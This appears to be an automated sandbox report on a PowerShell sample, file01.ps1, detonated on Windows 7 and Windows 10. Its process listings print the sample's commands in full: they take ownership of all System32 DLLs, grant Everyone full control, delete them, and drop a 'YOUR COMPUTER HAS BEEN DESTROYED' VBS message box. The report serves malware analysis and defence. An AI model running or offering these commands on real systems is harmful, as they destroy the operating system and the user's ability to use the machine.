Malware Analysis Report

2024-11-16 12:49

Sample ID 240809-zjvd9aybmm
Target file01.ps1
SHA256 6d0afcf0e9c77bb643a63c643387a10ff4a9a1cfd77e42b508fbab8e3746ff5e
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

6d0afcf0e9c77bb643a63c643387a10ff4a9a1cfd77e42b508fbab8e3746ff5e

Threat Level: Likely malicious

The file file01.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Checks computer location settings

Drops file in System32 directory

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Modifies registry class

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:45

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:45

Reported

2024-08-09 20:47

Platform

win7-20240705-en

Max time kernel

118s

Max time network

119s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\mallllllllllll.vbs C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2044 wrote to memory of 1304 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 1304 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 1304 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2080 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2080 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2080 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2080 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2080 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2080 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 2044 wrote to memory of 2820 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2820 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2820 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2820 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2820 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2820 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2044 wrote to memory of 2596 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2596 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2596 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2596 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2596 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2596 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2044 wrote to memory of 2824 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2824 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2824 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo msgbox "YOUR COMPUTER HAS BEEN DESTROYED",0+16,"MALWARE IS ATTACKING" >> %windir%\System32\mallllllllllll.vbs"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "start %windir%\System32\mallllllllllll.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Windows\System32\mallllllllllll.vbs"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul 2>&1"

Network

N/A

Files

memory/2044-4-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp

memory/2044-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

memory/2044-7-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

memory/2044-6-0x0000000002860000-0x0000000002868000-memory.dmp

memory/2044-8-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

memory/2044-9-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

memory/2044-10-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

C:\Windows\System32\mallllllllllll.vbs

MD5 cbf0dd164b1db74eeec66e9668f496d7
SHA1 544c5a29a1773fb2d51f71ea69e9964eef104438
SHA256 e79e18ffcd516656ec01b6426bccedc6625440b0e8163bd5541300398a94d94b
SHA512 2f76c56f8dc1d2eec09016923dac16b1a2db699c5673b5a0e97b1c90182971aa7c671889f5718a777cc3abd386914916050930644ba25fa8eabbf57b4d047c42

memory/2044-25-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:45

Reported

2024-08-09 20:45

Platform

win10v2004-20240802-en

Max time kernel

16s

Max time network

11s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\mallllllllllll.vbs C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 836 wrote to memory of 888 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 836 wrote to memory of 888 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 836 wrote to memory of 4748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 836 wrote to memory of 4748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4748 wrote to memory of 3204 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 4748 wrote to memory of 3204 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 836 wrote to memory of 1524 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 836 wrote to memory of 1524 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1524 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 1524 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 836 wrote to memory of 1960 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 836 wrote to memory of 1960 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1960 wrote to memory of 5052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1960 wrote to memory of 5052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 836 wrote to memory of 4464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 836 wrote to memory of 4464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4832 wrote to memory of 548 N/A C:\Program Files\Mozilla Firefox\private_browsing.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4832 wrote to memory of 548 N/A C:\Program Files\Mozilla Firefox\private_browsing.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 548 wrote to memory of 4528 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo msgbox "YOUR COMPUTER HAS BEEN DESTROYED",0+16,"MALWARE IS ATTACKING" >> %windir%\System32\mallllllllllll.vbs"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "start %windir%\System32\mallllllllllll.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Windows\System32\mallllllllllll.vbs"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul 2>&1"

C:\Program Files\Mozilla Firefox\private_browsing.exe

"C:\Program Files\Mozilla Firefox\private_browsing.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp

Files

memory/836-0-0x00007FFE7EB73000-0x00007FFE7EB75000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uvfqp3ot.4e0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/836-1-0x00000239B9CC0000-0x00000239B9CE2000-memory.dmp

memory/836-11-0x00007FFE7EB70000-0x00007FFE7F631000-memory.dmp

memory/836-12-0x00007FFE7EB70000-0x00007FFE7F631000-memory.dmp

C:\Windows\System32\mallllllllllll.vbs

MD5 cbf0dd164b1db74eeec66e9668f496d7
SHA1 544c5a29a1773fb2d51f71ea69e9964eef104438
SHA256 e79e18ffcd516656ec01b6426bccedc6625440b0e8163bd5541300398a94d94b
SHA512 2f76c56f8dc1d2eec09016923dac16b1a2db699c5673b5a0e97b1c90182971aa7c671889f5718a777cc3abd386914916050930644ba25fa8eabbf57b4d047c42

memory/836-18-0x00007FFE7EB70000-0x00007FFE7F631000-memory.dmp